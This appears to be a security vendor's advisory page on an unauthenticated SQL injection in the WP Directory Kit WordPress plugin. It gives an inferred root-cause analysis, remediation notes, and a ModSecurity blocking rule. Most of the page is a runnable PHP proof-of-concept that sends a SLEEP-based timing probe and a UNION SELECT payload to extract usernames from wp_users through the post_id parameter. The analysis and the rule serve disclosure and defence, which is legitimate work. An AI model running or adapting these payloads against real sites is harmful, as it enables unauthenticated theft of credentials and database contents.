Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-135273 (metadata-based): This is an unauthenticated SQL injection in the WP Directory Kit WordPress plugin, versions up to and including 1.6.3. The flaw resides in the ‘map_infowindow’ action of the ‘wdk_public_action’ AJAX handler and is reachable by any unauthenticated visitor. Atomic Edge assigns high severity based on the CVSS score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) and the confirmed database read exposure described in the advisory.
Root Cause (inferred from CWE-89 and the description; code unavailable for verification): The handler reads $_POST[‘post_id’], applies stripslashes() and a tag-stripping filter that does not perform SQL escaping, then promotes the value to the global $wdk_listing_id inside wdk_listing_card(). That global is concatenated directly into the WHERE clause of the Similar Listings widget query and executed via $wpdb->query() with no quoting, no integer cast, and no $wpdb->prepare(). The vulnerable pattern is a raw string concatenation into a SQL fragment, which is exactly the classic CWE-89 sink. No nonce or capability check gates the public AJAX action, so the sink is reachable from the internet.
Exploitation (inferred): An attacker sends a POST to /wp-admin/admin-ajax.php with action=wdk_public_action and the map_infowindow sub-action, supplying a crafted post_id value. Because the value is concatenated unquoted, boolean-based and UNION-based payloads are viable. A minimal probe such as post_id=1 AND SLEEP(5) can confirm the injection via response timing. UNION SELECT payloads can be appended to extract user credentials, session tokens, and other wp_* table data. No authentication, nonce, or referer is required.
Remediation (inferred): The fix in 1.6.5 likely casts post_id to an absolute integer (absint or intval) before use and rewrites the Similar Listings query to use $wpdb->prepare() with a %d placeholder, or to build the WHERE clause through WP_Query/esc_sql. Proper remediation also adds a nonce and capability check to the public AJAX handler where the data is sensitive, though the AJAX endpoint itself is expected to remain public for map rendering.
Impact (confirmed by CVSS C:H): Successful exploitation allows unauthenticated extraction of arbitrary data from the WordPress database, including usernames, password hashes, email addresses, and any plugin or application data stored in wp_* tables. Integrity and availability are not directly affected per the CVSS vector, but credential disclosure enables follow-on account takeover and lateral movement.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-135273 (metadata-based)
# Targets the unauthenticated SQL injection in the 'map_infowindow' action of the
# 'wdk_public_action' AJAX handler. The 'post_id' parameter is expected to be an
# integer. Anything that introduces SQL metacharacters is treated as an attack.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026135273,phase:2,deny,status:403,chain,msg:'CVE-2026-135273 WP Directory Kit unauthenticated SQLi via map_infowindow post_id',severity:'CRITICAL',tag:'CVE-2026-135273',tag:'attack-sqli'"
SecRule ARGS_POST:action "@streq wdk_public_action" "chain"
SecRule ARGS_POST:map_infowindow "@streq 1" "chain"
SecRule ARGS_POST:post_id "@rx [^0-9]" "t:none,t:urlDecodeUni,t:removeNulls"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-135273 - WP Directory Kit <= 1.6.3 - Unauthenticated SQL Injection via 'post_id' Parameter
//
// Assumptions (metadata-based, no source diff available):
// - Endpoint: /wp-admin/admin-ajax.php
// - Outer action: wdk_public_action
// - Inner action: map_infowindow (sent as a parameter to the handler)
// - Vulnerable parameter: post_id (POST), concatenated unquoted into SQL
//
// Adjust $target_url and, if needed, the inner action parameter name to match
// the plugin's actual dispatcher. The script performs two checks:
// 1. Timing probe with AND SLEEP(5) to confirm boolean/time-based SQLi.
// 2. UNION probe to enumerate the WordPress users table prefix-dependent
// column count is left to the operator, since the column count is not
// disclosed in the CVE metadata.
$target_url = 'http://example.com';
function ae_request($url, $payload) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['User-Agent: AtomicEdge-PoC/1.0']);
$body = curl_exec($ch);
$err = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$code, $body, $err];
}
function ae_timing_probe($target_url) {
// Baseline request with a benign integer post_id
$base = [
'action' => 'wdk_public_action',
'map_infowindow' => '1',
'post_id' => '1',
];
$t0 = microtime(true);
ae_request($target_url . '/wp-admin/admin-ajax.php', $base);
$baseline = microtime(true) - $t0;
// Time-based injection payload. Unquoted concatenation allows boolean/time logic.
$inj = [
'action' => 'wdk_public_action',
'map_infowindow' => '1',
'post_id' => '1 AND SLEEP(5)',
];
$t0 = microtime(true);
ae_request($target_url . '/wp-admin/admin-ajax.php', $inj);
$elapsed = microtime(true) - $t0;
printf("[*] Baseline: %.2fs Injected: %.2fsn", $baseline, $elapsed);
if ($elapsed - $baseline >= 4.0) {
echo "[+] Target is vulnerable to time-based SQL injection via post_idn";
return true;
}
echo "[-] No significant timing difference observed (target may be patched or parameter name differs)n";
return false;
}
function ae_union_probe($target_url) {
// UNION-based probe template. Column count N must be tuned to the widget query.
// This payload attempts to extract the admin user_login value.
$payload = "0 UNION SELECT user_login,1,1,1,1,1 FROM wp_users LIMIT 1-- -";
$req = [
'action' => 'wdk_public_action',
'map_infowindow' => '1',
'post_id' => $payload,
];
list($code, $body, $err) = ae_request($target_url . '/wp-admin/admin-ajax.php', $req);
if ($err) {
echo "[-] Request error: $errn";
return;
}
echo "[*] HTTP $code, response length " . strlen((string)$body) . "n";
echo "[*] Inspect the response body for leaked user_login values.n";
}
if (PHP_SAPI === 'cli') {
echo "[*] Atomic Edge PoC for CVE-2026-135273n";
echo "[*] Target: $target_urln";
if (ae_timing_probe($target_url)) {
ae_union_probe($target_url);
}
} else {
header('Content-Type: text/plain');
echo "Run this PoC from the CLI.n";
}